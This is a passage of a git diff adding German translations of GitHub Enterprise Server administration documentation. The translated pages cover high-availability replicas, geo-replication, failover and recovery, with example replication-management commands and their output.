+ms.openlocfilehash: d24b222ee411d6e8d06366dd78da6b0001280c4d
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108419'
+---
+Mehrere aktive Replikate können eine kürzere Entfernung zum nächstgelegenen Replikat ermöglichen. Beispielsweise kann eine Organisation mit Niederlassungen in San Francisco, New York und London die primäre Appliance in einem Rechenzentrum in der Nähe von New York und zwei Replikate in Rechenzentren nahe San Francisco und London betreiben. Mittels Geolocation-fähigem DNS können Benutzer an den nächstgelegenen verfügbaren Server weitergeleitet werden und schneller auf Repository-Daten zugreifen. Wenn die Appliance nahe New York als die primäre Instanz festgelegt wird, ist die Latenz zwischen den Hosts niedriger, als dies der Fall wäre, wenn die Appliance nahe San Francisco als die primäre Instanz festgelegt werden würde, deren Verbindung nach London wiederum eine höhere Latenz aufweist.
+
+Das aktive Replikat vermittelt Anforderungen, die es nicht selbst verarbeiten kann, an die primäre Instanz. Die Replikate fungieren als ein Point of Presence und beenden alle SSL-Verbindungen. Der Traffic zwischen den Hosts wird über eine verschlüsselte VPN-Verbindung gesendet. Dies ähnelt einer Hochverfügbarkeitskonfiguration mit zwei Knoten ohne Geo-Replikation.
+
+Git-Anforderungen und bestimmte Dateiserveranforderungen, beispielsweise LFS und Dateiuploads, können direkt vom Replikat aus bereitgestellt werden, ohne Daten aus der primären Instanz zu laden. Webanforderungen werden immer an die primäre Instanz weitergeleitet. Wenn das Replikat jedoch näher am Benutzer ist, sind die Anforderungen aufgrund der engeren SSL-Terminierung schneller.
+
+Damit die Georeplikation ordnungsgemäß funktioniert, wird Geo DNS (beispielsweise der [Route 53-Dienst von Amazon](http://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html#routing-policy-geo)) benötigt. Der Hostname für die Instanz sollte im Replikat aufgelöst werden, das dem Standort des Benutzers am nächsten liegt.
+
+## Einschränkungen
+
+Zum Senden von Anforderungen an das Replikat müssen die Daten an die primäre Instanz und an alle Replikate gesendet werden. Folglich wird die Leistung sämtlicher Schreibvorgänge durch das langsamste Replikat begrenzt. Neue Georeplikate können jedoch für den Großteil ihrer Daten ein Seeding aus bestehenden Georeplikaten am gleichen Standort durchführen anstatt aus der primären Instanz. Um die Wartezeit und die Bandbreite, die durch verteilte Teams und große CI-Farmen verursacht werden, zu verringern, ohne den Schreibdurchsatz zu beeinträchtigen, kannst du stattdessen das Zwischenspeichern von Repositorys konfigurieren. Weitere Informationen findest du unter [Informationen zum Repositoryspeichern](/admin/enterprise-management/caching-repositories/about-repository-caching).
+
+Von der Geo-Replikation werden einer {% data variables.product.prodname_ghe_server %}-Instanz weder Kapazitäten hinzugefügt noch werden Leistungsprobleme in Bezug auf unzureichende CPU- oder Arbeitsspeicherressourcen behoben. Wenn die primäre Appliance offline ist, können aktive Replikate keine Lese- oder Schreibanforderungen verarbeiten. 
+
+{% data reusables.enterprise_installation.replica-limit %}
+
+## Geo-Replikationskonfiguration überwachen
+
+{% data reusables.enterprise_installation.monitoring-replicas %}
+
+## Weiterführende Themen
+- [Replikate der Georeplikation erstellen](/enterprise/admin/guides/installation/creating-a-high-availability-replica/#creating-geo-replication-replicas)
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md
new file mode 100644
index 0000000000..52c95c0a3c
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md
@@ -0,0 +1,196 @@
+---
+title: Informationen zur Hochverfügbarkeitskonfiguration
+intro: 'In einer Hochverfügbarkeitskonfiguration bleibt eine voll redundante sekundäre {% data variables.product.prodname_ghe_server %}-Appliance mit der primären Appliance synchron. Dies erfolgt über die Replikation sämtlicher großer Datenspeicher.'
+redirect_from:
+  - /enterprise/admin/installation/about-high-availability-configuration
+  - /enterprise/admin/enterprise-management/about-high-availability-configuration
+  - /admin/enterprise-management/about-high-availability-configuration
+versions:
+  ghes: '*'
+type: overview
+topics:
+  - Enterprise
+  - High availability
+  - Infrastructure
+shortTitle: About HA configuration
+ms.openlocfilehash: b54ca60c6cf1d79b9435ca8deedebec09ed39396
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108418'
+---
+Beim Konfigurieren der Hochverfügbarkeit gibt es eine automatisierte Einrichtung einer unidirektionalen asynchronen Replikation sämtlicher Datenspeicher (Git-Repositorys, MySQL, Redis und ElasticSearch) von der primären zur Replikat-Appliance. Die meisten {% data variables.product.prodname_ghe_server %}-Konfigurationseinstellungen werden ebenfalls repliziert, darunter auch das {% data variables.enterprise.management_console %}-Kennwort. Weitere Informationen findest du unter [Zugreifen auf die Verwaltungskonsole](/admin/configuration/configuring-your-enterprise/accessing-the-management-console).
+
+{% data variables.product.prodname_ghe_server %} unterstützt eine aktive/passive Konfiguration, bei der die Replikations-Appliance als Standby-Instanz mit Datenbankdiensten im Replikationsmodus ausgeführt wird, aber die Anwendungsdienste gestoppt werden.
+
+Nachdem die Replikation eingerichtet wurde, ist die {% data variables.enterprise.management_console %} auf den Appliances für die Replikation nicht mehr zugänglich. Wenn du zur IP-Adresse oder zum Hostnamen des Replikats auf Port 8443 navigierst, wird die Meldung „Server im Replikationsmodus“ angezeigt, die darauf hinweist, dass die Appliance derzeit als Replikat konfiguriert ist.
+{% data reusables.enterprise_installation.replica-limit %}
+
+## Anvisierte Fehlerszenarien
+
+Verwende eine Hochverfügbarkeitskonfiguration zum Schutz vor:
+
+{% data reusables.enterprise_installation.ha-and-clustering-failure-scenarios %}
+
+Eine Hochverfügbarkeitskonfiguration eignet sich nicht für:
+
+  - **Aufskalieren**: Mithilfe der Georeplikation kannst du den Datenverkehr zwar geografisch verteilen, aber die Leistung der Schreibvorgänge ist auf die Geschwindigkeit und Verfügbarkeit der primären Appliance beschränkt. Weitere Informationen findest du unter [Informationen zur Georeplikation](/enterprise/admin/guides/installation/about-geo-replication/).
+  - **CI/CD-Last**: Wenn du über eine große Anzahl von CI-Clients verfügst, die geografisch weit von deiner primären Instanz entfernt sind, kannst du von der Konfiguration eines Repositorycaches profitieren. Weitere Informationen findest du unter [Informationen zum Repositoryspeichern](/admin/enterprise-management/caching-repositories/about-repository-caching).
+  - **Sichern der primären Appliance**: Eine Hochverfügbarkeitsreplikat ersetzt keine Off-Site-Backups in deinem Disaster Recovery-Plan. Einige Formen von Datenbeschädigungen oder -verlusten werden möglicherweise sofort von der primären Instanz zum Replikat repliziert. Um einen sicheren Rollback auf einen stabilen vergangenen Zustand zu gewährleisten, musst du regelmäßige Backups mit historischen Snapshots durchführen.
+  - **Upgrades ohne Downtime**: Platziere zum Verhindern von Datenverlusten und Split-Brain-Situationen in kontrollierten Hochstufungsszenarien die primäre Appliance in den Wartungsmodus, und warte auf den Abschluss sämtlicher Schreibvorgänge, bevor du das Replikat hochstufst.
+
+## Netzwerk-Traffic-Failover-Strategien
+
+Während des Failovers musst du den Netzwerk-Traffic separat konfigurieren und ihn manuell von der primären Instanz zum Replikat weiterleiten.
+
+### DNS-Failover
+
+Verwende mit DNS-Failover kurze TTL-Werte in den DNS-Einträgen, die auf die primäre {% data variables.product.prodname_ghe_server %}-Appliance verweisen. Du solltest einen TTL-Wert zwischen 60 Sekunden und fünf Minuten verwenden.
+
+Während des Failovers musst du die primäre Instanz in den Wartungsmodus versetzen und ihre DNS-Einträge an die IP-Adresse der Replikat-Appliance weiterleiten. Die zum Weiterleiten des Traffics von der primären Instanz zum Replikat erforderliche Zeit hängt von der TTL-Konfiguration und der zum Aktualisieren der DNS-Einträge erforderlichen Zeit ab.
+
+Wenn du die Geo-Replikation verwendest musst du Geo DNS so konfigurieren, dass der Traffic an das nächstgelegene Replikat weitergeleitet wird. Weitere Informationen findest du unter [Informationen zur Georeplikation](/enterprise/admin/guides/installation/about-geo-replication/).
+
+### Load Balancer
+
+{% data reusables.enterprise_clustering.load_balancer_intro %} {% data reusables.enterprise_clustering.load_balancer_dns %}
+
+Während des Failovers musst du die primäre Appliance in den Wartungsmodus versetzen. Du kannst den Load-Balancer so konfigurieren, dass automatisch erkannt wird, wenn das Replikat auf die primäre Instanz hochgestuft wurde, oder dass eine manuelle Konfigurationsänderung erforderlich ist. Du musst das Replikat manuell auf die primäre Instanz hochstufen, bevor es auf den Benutzer-Traffic antwortet. Weitere Informationen findest du unter [Verwenden von {% data variables.product.prodname_ghe_server %} mit einem Lastenausgleich](/enterprise/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/).
+
+{% data reusables.enterprise_installation.monitoring-replicas %}
+
+## Dienstprogramm zur Replikationsverwaltung
+
+Verwende zum Verwalten der Replikation auf {% data variables.product.prodname_ghe_server %} diese Befehlszeilendienstprogramme, indem du mittels SSH eine Verbindung zur Replikat-Appliance herstellst.
+
+### ghe-repl-setup
+
+Der Befehl `ghe-repl-setup` versetzt eine {% data variables.product.prodname_ghe_server %}-Appliance in den Replikat-Standbymodus.
+
+ - Für die Kommunikation zwischen den beiden Appliances wird ein verschlüsselter WireGuard-VPN-Tunnel konfiguriert.
+ - Datenbankdienste werden für die Replikation konfiguriert und gestartet.
+ - Anwendungsdienste werden deaktiviert. Wenn versucht wird, über HTTP, Git oder über andere unterstützte Protokolle auf die Replikat-Appliance zuzugreifen, wird die Wartungsseite „appliance in replica mode“ (Appliance im Replikatmodus) oder eine Fehlermeldung angezeigt.
+
+```shell
+admin@169-254-1-2:~$ ghe-repl-setup 169.254.1.1
+Verifying ssh connectivity with 169.254.1.1 ...
+Connection check succeeded.
+Configuring database replication against primary ...
+Success: Replica mode is configured against 169.254.1.1.
+To disable replica mode and undo these changes, run `ghe-repl-teardown'.
+Run `ghe-repl-start' to start replicating against the newly configured primary.
+```
+
+### ghe-repl-start
+
+Der Befehl `ghe-repl-start` aktiviert die aktive Replikation für alle Datenspeicher.
+
+```shell
+admin@169-254-1-2:~$ ghe-repl-start
+Starting MySQL replication ...
+Starting Redis replication ...
+Starting Elasticsearch replication ...
+Starting Pages replication ...
+Starting Git replication ...
+Success: replication is running for all services.
+Use `ghe-repl-status' to monitor replication health and progress.
+```
+
+### ghe-repl-status
+
+Der Befehl `ghe-repl-status` gibt den Status `OK`, `WARNING` oder `CRITICAL` für jeden Datenspeicher-Replikationsstream zurück. Wenn sich einer der Replikationskanäle im Zustand `WARNING` befindet, wird der Befehl mit dem Code `1` beendet. Ebenso wird der Befehl mit dem Code `2` beendet, wenn sich einer der Kanäle im Zustand `CRITICAL` befindet.
+
+```shell
+admin@169-254-1-2:~$ ghe-repl-status
+OK: mysql replication in sync
+OK: redis replication is in sync
+OK: elasticsearch cluster is in sync
+OK: git data is in sync (10 repos, 2 wikis, 5 gists)
+OK: pages data is in sync
+```
+
+Die Optionen `-v` und `-vv` geben Auskunft über den Replikationsstatus der einzelnen Datenspeicher:
+
+```shell
+$ ghe-repl-status -v
+OK: mysql replication in sync
+  | IO running: Yes, SQL running: Yes, Delay: 0
+
+OK: redis replication is in sync
+  | master_host:169.254.1.1
+  | master_port:6379
+  | master_link_status:up
+  | master_last_io_seconds_ago:3
+  | master_sync_in_progress:0
+
+OK: elasticsearch cluster is in sync
+  | {
+  |   "cluster_name" : "github-enterprise",
+  |   "status" : "green",
+  |   "timed_out" : false,
+  |   "number_of_nodes" : 2,
+  |   "number_of_data_nodes" : 2,
+  |   "active_primary_shards" : 12,
+  |   "active_shards" : 24,
+  |   "relocating_shards" : 0,
+  |   "initializing_shards" : 0,
+  |   "unassigned_shards" : 0
+  | }
+
+OK: git data is in sync (366 repos, 31 wikis, 851 gists)
+  |                   TOTAL         OK      FAULT    PENDING      DELAY
+  | repositories        366        366          0          0        0.0
+  |        wikis         31         31          0          0        0.0
+  |        gists        851        851          0          0        0.0
+  |        total       1248       1248          0          0        0.0
+
+OK: pages data is in sync
+  | Pages are in sync
+```
+
+### ghe-repl-stop
+
+Der Befehl `ghe-repl-stop` deaktiviert vorübergehend die Replikation für alle Datenspeicher und beendet die Replikationsdienste. Verwende den Befehl [ghe-repl-start](#ghe-repl-start), um die Replikation fortzusetzen.
+
+```shell
+admin@168-254-1-2:~$ ghe-repl-stop
+Stopping Pages replication ...
+Stopping Git replication ...
+Stopping MySQL replication ...
+Stopping Redis replication ...
+Stopping Elasticsearch replication ...
+Success: replication was stopped for all services.
+```
+
+### ghe-repl-promote
+
+Der Befehl `ghe-repl-promote` deaktiviert die Replikation und konvertiert die Replikatappliance in eine primäre Appliance. Die Appliance wird mit denselben Einstellungen wie die ursprüngliche primäre Instanz konfiguriert, und alle Dienste sind aktiviert.
+
+{% data reusables.enterprise_installation.promoting-a-replica %}
+
+```shell
+admin@168-254-1-2:~$ ghe-repl-promote
+Enabling maintenance mode on the primary to prevent writes ...
+Stopping replication ...
+  | Stopping Pages replication ...
+  | Stopping Git replication ...
+  | Stopping MySQL replication ...
+  | Stopping Redis replication ...
+  | Stopping Elasticsearch replication ...
+  | Success: replication was stopped for all services.
+Switching out of replica mode ...
+  | Success: Replication configuration has been removed.
+  | Run `ghe-repl-setup' to re-enable replica mode.
+Applying configuration and starting services ...
+Success: Replica has been promoted to primary and is now accepting requests.
+```
+
+### ghe-repl-teardown
+
+Der Befehl `ghe-repl-teardown` deaktiviert den Replikationsmodus vollständig und entfernt die Replikationskonfiguration.
+
+## Weiterführende Themen
+
+- [Erstellen eines Hochverfügbarkeitsreplikats](/enterprise/admin/guides/installation/creating-a-high-availability-replica)
+- [Netzwerkports](/admin/configuration/configuring-network-settings/network-ports)
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md
new file mode 100644
index 0000000000..83f0d3ae9a
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md
@@ -0,0 +1,108 @@
+---
+title: Hochverfügbarkeitsreplikat erstellen
+intro: 'Bei einer Aktiv/Passiv-Konfiguration ist die Replikatappliance eine redundante Kopie der primären Appliance. Wenn die primäre Appliance ausfällt, ermöglicht der Hochverfügbarkeitsmodus dem Replikat, als primäre Appliance zu fungieren, was eine nur kurzzeitige Dienstunterbrechung ermöglicht.'
+redirect_from:
+  - /enterprise/admin/installation/creating-a-high-availability-replica
+  - /enterprise/admin/enterprise-management/creating-a-high-availability-replica
+  - /admin/enterprise-management/creating-a-high-availability-replica
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - High availability
+  - Infrastructure
+shortTitle: Create HA replica
+ms.openlocfilehash: ee384588ee76cd455facdb6fcbe838fc110bc223
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106757'
+---
+{% data reusables.enterprise_installation.replica-limit %}
+
+## Hochverfügbarkeitsreplikat erstellen
+
+1. Richte eine neue {% data variables.product.prodname_ghe_server %}-Appliance auf deiner gewünschten Plattform ein. Die Replikat-Appliance sollte die CPU-, RAM- und Speichereinstellungen der primären Appliance spiegeln. Du solltest die Replikat-Appliance in einer unabhängigen Umgebung installieren. Die zugrunde liegenden Hardware-, Software und Netzwerkkomponenten sollten von denen der primären Appliance isoliert sein. Wenn du einen Cloud-Anbieter verwendest, solltest du eine separate Region oder Zone verwendest. Weitere Informationen findest du unter [Einrichten einer {% data variables.product.prodname_ghe_server %}-Instanz](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance).
+1. Stelle sicher, dass die neue Appliance mit allen übrigen Appliances in dieser Hochverfügbarkeitsumgebung über die Ports 122/TCP und 1194/UDP kommunizieren kann. Weitere Informationen findest du unter [Netzwerkports](/admin/configuration/configuring-network-settings/network-ports#administrative-ports).
+1. Navigiere in einem Browser zur IP-Adresse der neuen Replikat-Appliance, und lade deine {% data variables.product.prodname_enterprise %}-Lizenz hoch.
+{% data reusables.enterprise_installation.replica-steps %}
+1. Stelle mittels SSH eine Verbindung zur IP-Adresse der Replikat-Appliance her.
+  ```shell
+  $ ssh -p 122 admin@REPLICA_IP
+  ```
+{% data reusables.enterprise_installation.generate-replication-key-pair %} {% data reusables.enterprise_installation.add-ssh-key-to-primary %}
+1. Führe erneut `ghe-repl-setup` aus, um die Verbindung mit dem primären Replikat zu überprüfen und den Replikatmodus für das neue Replikat zu aktivieren.
+  ```shell
+  $ ghe-repl-setup PRIMARY_IP
+  ```
+{% data reusables.enterprise_installation.replication-command %} {% data reusables.enterprise_installation.verify-replication-channel %}
+
+## Replikate der Geo-Replikation erstellen
+
+Diese Beispielkonfiguration verwendet eine primäre Instanz und zwei Replikate, die sich in drei unterschiedlichen geografischen Regionen befinden. Obwohl sich die drei Knoten in unterschiedlichen Netzwerken befinden können, müssen alle Knoten über alle anderen Knoten zugänglich sein. Die erforderlichen Verwaltungsports sollten mindestens für alle anderen Knoten geöffnet sein. Weitere Informationen zu den Portanforderungen findest du unter [Netzwerkports](/enterprise/admin/guides/installation/network-ports/#administrative-ports).
+
+{% data reusables.enterprise_clustering.network-latency %} Wenn die Latenz mehr als 70 Millisekunden beträgt, empfehlen wir stattdessen Cachereplikatknoten. Weitere Informationen findest Du unter [Konfigurieren eines Repositorycaches](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache).
+
+1. Erstelle das erste Replikat genauso wie bei einer Standardkonfiguration mit zwei Knoten, indem du `ghe-repl-setup` für das erste Replikat ausführst.
+  ```shell
+  (replica1)$ ghe-repl-setup PRIMARY_IP
+  (replica1)$ ghe-repl-start
+  ```
+2. Erstelle ein zweites Replikat, und verwende den Befehl `ghe-repl-setup --add`. Das `--add` Flag verhindert, dass die vorhandene Replikationskonfiguration überschrieben wird, und fügt der Konfiguration das neue Replikat hinzu.
+  ```shell
+  (replica2)$ ghe-repl-setup --add PRIMARY_IP
+  (replica2)$ ghe-repl-start
+  ```
+3. Standardmäßig sind die Replikate für dasselbe Rechenzentrum konfiguriert und versuchen nun, ein Seeding von einem vorhandenen Knoten im selben Rechenzentrum durchzuführen. Konfiguriere die Replikate für unterschiedliche Rechenzentren, indem du für die Rechenzentrumsoption einen anderen Wert festlegst. Die entsprechenden Werte sind beliebig, sie müssen sich nur voneinander unterscheiden. Führe den Befehl `ghe-repl-node` für jeden Knoten aus, und gib das Rechenzentrum an.
+
+  Auf der primären Instanz:
+  ```shell
+  (primary)$ ghe-repl-node --datacenter [PRIMARY DC NAME]
+  ```
+  Auf dem ersten Replikat:
+  ```shell
+  (replica1)$ ghe-repl-node --datacenter [FIRST REPLICA DC NAME]
+  ```
+  Auf dem zweiten Replikat:
+  ```shell
+  (replica2)$ ghe-repl-node --datacenter [SECOND REPLICA DC NAME]
+  ```
+  {% tip %}
+
+  **Tipp:** Du kannst die Optionen `--datacenter` und `--active` gleichzeitig festlegen.
+
+  {% endtip %}
+4. Ein aktiver Replikatknoten speichert Kopien der Appliance-Daten und verarbeitet Anforderungen von Endbenutzern. Ein inaktiver Knoten speichert Kopien der Appliance-Daten, kann die Anforderungen von Endbenutzern jedoch nicht verarbeiten. Aktiviere mit dem Flag `--active` den aktiven Modus oder mit dem Flag `--inactive` den inaktiven Modus.
+
+  Auf dem ersten Replikat:
+  ```shell
+  (replica1)$ ghe-repl-node --active
+  ```
+  Auf dem zweiten Replikat:
+  ```shell
+  (replica2)$ ghe-repl-node --active
+  ```
+5. Verwende zum Anwenden der Konfiguration den Befehl `ghe-config-apply` für das primäre Replikat.
+  ```shell
+  (primary)$ ghe-config-apply
+  ```
+
+## DNS für Geo-Replikation konfigurieren
+
+Konfiguriere Geo DNS mit den IP-Adressen auf der primären Instanz und auf den Replikatknoten. Du kannst auch einen DNS CNAME für den primären Knoten erstellen (z. B. `primary.github.example.com`), um über SSH auf den primären Knoten zuzugreifen oder um ihn über `backup-utils` zu sichern.
+
+Zu Testzwecken kannst du der Datei `hosts` der lokalen Arbeitsstation Einträge hinzufügen (zum Beispiel `/etc/hosts`). Diese Beispieleinträge lösen Anforderungen für `HOSTNAME` in `replica2` auf. Du kannst auf spezifische Hosts abzielen, indem du unterschiedliche Zeilen auskommentierst.
+
+```
+# <primary IP>      HOSTNAME 
+# <replica1 IP>     HOSTNAME 
+<replica2 IP>     HOSTNAME 
+```
+
+## Weitere Informationsquellen
+
+- [Informationen zur Hochverfügbarkeitskonfiguration](/enterprise/admin/guides/installation/about-high-availability-configuration)
+- [Hilfsprogramme für die Replikationsverwaltung](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)
+- [Informationen zur Georeplikation](/enterprise/admin/guides/installation/about-geo-replication/)
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/index.md b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/index.md
new file mode 100644
index 0000000000..1c3ba9995d
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/index.md
@@ -0,0 +1,29 @@
+---
+title: Konfigurieren von Hochverfügbarkeit
+redirect_from:
+  - /enterprise/admin/installation/configuring-github-enterprise-server-for-high-availability
+  - /enterprise/admin/guides/installation/high-availability-cluster-configuration
+  - /enterprise/admin/guides/installation/high-availability-configuration
+  - /enterprise/admin/guides/installation/configuring-github-enterprise-for-high-availability
+  - /enterprise/admin/enterprise-management/configuring-high-availability
+intro: '{% data variables.product.prodname_ghe_server %} unterstützt eine Hochverfügbarkeits-Betriebsart, die darauf ausgelegt ist, Dienstunterbrechungen im Falle von Hardwareausfällen oder größeren Netzwerkausfällen, welche die primäre Appliance betreffen, zu minimieren.'
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+children:
+  - /about-high-availability-configuration
+  - /creating-a-high-availability-replica
+  - /initiating-a-failover-to-your-replica-appliance
+  - /recovering-a-high-availability-configuration
+  - /removing-a-high-availability-replica
+  - /about-geo-replication
+shortTitle: Configure high availability
+ms.openlocfilehash: 8df1e6b70d68fc09ffce4783e0c41ace51a089c7
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106864'
+---
+
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md
new file mode 100644
index 0000000000..467006b22b
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md
@@ -0,0 +1,71 @@
+---
+title: Initiieren eines Failovers zu deiner Replikat-Appliance
+intro: 'Du kannst an der Befehlszeile zu Wartungs- und Testzwecken oder beim Fehlschlagen der primären Appliance ein Failover zu einer {% data variables.product.prodname_ghe_server %}-Replikat-Appliance durchführen.'
+redirect_from:
+  - /enterprise/admin/installation/initiating-a-failover-to-your-replica-appliance
+  - /enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-appliance
+  - /admin/enterprise-management/initiating-a-failover-to-your-replica-appliance
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - High availability
+  - Infrastructure
+shortTitle: Initiate failover to appliance
+ms.openlocfilehash: d1e9c579d431e03154040392a2b58405fef8ab42
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147770889'
+---
+Die für das Failover erforderliche Zeit hängt davon ab, wie lange es dauert, das Replikat manuell hochzustufen und den Traffic weiterzuleiten. Die durchschnittliche Dauer liegt zwischen 20–30 Minuten.
+
+{% data reusables.enterprise_installation.promoting-a-replica %}
+
+1. Wenn die primäre Appliance verfügbar ist, versetze die primäre Appliance in den Wartungsmodus, damit die Replikation abgeschlossen werden kann, bevor du die Geräte wechselst.
+
+    - Versetze die Appliance in den Wartungsmodus.
+
+       - Informationen zur Verwendung der Verwaltungskonsole findest du unter [Aktivieren und Planen des Wartungsmodus](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/).
+
+       - Du kannst auch den Befehl `ghe-maintenance -s` verwenden.
+         ```shell
+         $ ghe-maintenance -s
+         ```
+
+   - Wenn die Anzahl der aktiven Git-Vorgänge, MySQL-Abfragen und Resque-Aufträge null erreicht, warte 30 Sekunden. 
+
+      {% note %}
+
+      **Hinweis**: In Nomad werden immer Aufträge ausgeführt, auch im Wartungsmodus. Daher kannst du diese Aufträge gefahrlos ignorieren.
+    
+      {% endnote %}
+
+   - Um den Status `OK` für alle Berichte zu Replikationskanälen zu überprüfen, verwende den Befehl `ghe-repl-status -vv`.
+
+      ```shell
+      $ ghe-repl-status -vv
+      ```
+
+4. Um die Replikation zu beenden und die Replikat-Appliance auf den Status „primär“ hochzustufen, verwende den Befehl `ghe-repl-promote` auf der Replikat-Appliance. Dadurch wird der primäre Knoten automatisch in den Wartungsmodus versetzt, sofern er erreichbar ist.
+  ```shell
+  $ ghe-repl-promote
+  ```
+5. Aktualisiere den DNS-Eintrag so, dass er auf die IP-Adresse des Replikats verweist. Nach dem Verstreichen des TTL-Zeitraums wird der Traffic an das Replikat geleitet. Stelle bei der Verwendung eines Load-Balancers sicher, dass er so konfiguriert ist, den Traffic an das Replikat zu senden.
+6. Benachrichtige die Benutzer, dass sie die normalen Vorgänge wieder aufnehmen können.
+7. Richte bei Bedarf die Replikation von der neuen primären Instanz auf die bestehenden Appliances und die vorherige primäre Instanz ein. Weitere Informationen findest du unter [Informationen zur Hochverfügbarkeitskonfiguration](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management).
+8. Appliances, für die du keine Replikation einrichten möchtest, die aber vor dem Failover Teil der Hochverfügbarkeitskonfiguration waren, müssen anhand ihrer UUID aus der Hochverfügbarkeitskonfiguration entfernt werden.
+    - Rufe die UUID auf den früheren Appliances über `cat /data/user/common/uuid` ab.
+      ```shell
+      $ cat /data/user/common/uuid
+      ```
+    - Entferne auf der neuen primären Appliance die UUIDs mithilfe von `ghe-repl-teardown`. Ersetze *`UUID`* durch eine UUID, die du im vorherigen Schritt abgerufen hast.
+      ```shell
+      $ ghe-repl-teardown -u <em>UUID</em>
+      ```
+
+## Weitere Informationsquellen
+
+- [Hilfsprogramme für die Replikationsverwaltung](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)
diff --git a/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/recovering-a-high-availability-configuration.md b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/recovering-a-high-availability-configuration.md
new file mode 100644
index 0000000000..609a1b7dfa
--- /dev/null
+++ b/translations/de-DE/content/admin/enterprise-management/configuring-high-availability/recovering-a-high-availability-configuration.md
@@ -0,0 +1,49 @@
+---
+title: Hochverfügbarkeitskonfiguration wiederherstellen
+intro: 'Nachdem du ein Failover zur {% data variables.product.prodname_ghe_server %}-Appliance durchgeführt hast, solltest du schnellstmöglich die Redundanz zurückerlangen, anstatt sich auf eine einzelne Appliance zu verlassen.'
+redirect_from:
+  - /enterprise/admin/installation/recovering-a-high-availability-configuration
+  - /enterprise/admin/enterprise-management/recovering-a-high-availability-configuration
+  - /admin/enterprise-management/recovering-a-high-availability-configuration
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - High availability
+  - Infrastructure
+shortTitle: Recover a HA configuration
+ms.openlocfilehash: a61cdf4b3f7338c986112f67a0ca66be33d75c5f
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '146332768'
+---
+## Informationen zur Wiederherstellung für eine Hochverfügbarkeitskonfiguration
+
+Du kannst die vorherige primäre Appliance als neue Replikat-Appliance verwenden, sofern das Failover geplant war oder nicht mit dem Appliance-Zustand in Zusammenhang stand. Wenn das Failover mit einem Problem an der primären Appliance zusammenhing, solltest du ggf. eine neue Replikat-Appliance erstellen. Weitere Informationen findest du unter [Erstellen eines Hochverfügbarkeitsreplikats](/enterprise/admin/guides/installation/creating-a-high-availability-replica/).
+
+{% warning %}
+
+**Warnung:** Du musst den Wartungsmodus aktivieren, bevor du eine ehemalige primäre Appliance als neues Replikat konfigurierst. Wenn du den Wartungsmodus nicht aktivieren, verursachst du einen Produktionsausfall.
+
+{% endwarning %}
+
+## Vorherige primäre Appliance als neues Replikat konfigurieren
+
+1. Stelle mittels SSH eine Verbindung zur IP-Adresse der vorherigen primären Appliance her.
+  ```shell
+  $ ssh -p 122 admin@<em>FORMER PRIMARY IP</em>
+  ```
+1. Aktiviere den Wartungsmodus für die ehemalige primäre Appliance. Weitere Informationen findest du unter [Aktivieren und Planen des Wartungsmodus](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode).
+1. Führe auf der ehemaligen primären Appliance den Befehl `ghe-repl-setup` mit der IP-Adresse des ehemaligen Replikats aus.
+  ```shell
+  $ ghe-repl-setup <em>FORMER REPLICA IP</em>
+  ```
+{% data reusables.enterprise_installation.add-ssh-key-to-primary %}
+1. Führe erneut `ghe-repl-setup` aus, um die Verbindung mit dem primären Replikat zu überprüfen und den Replikatmodus für das neue Replikat zu aktivieren.
+  ```shell
+  $ ghe-repl-setup <em>FORMER REPLICA IP</em>
+  ```
+{% data reusables.enterprise_installation.replication-command %}
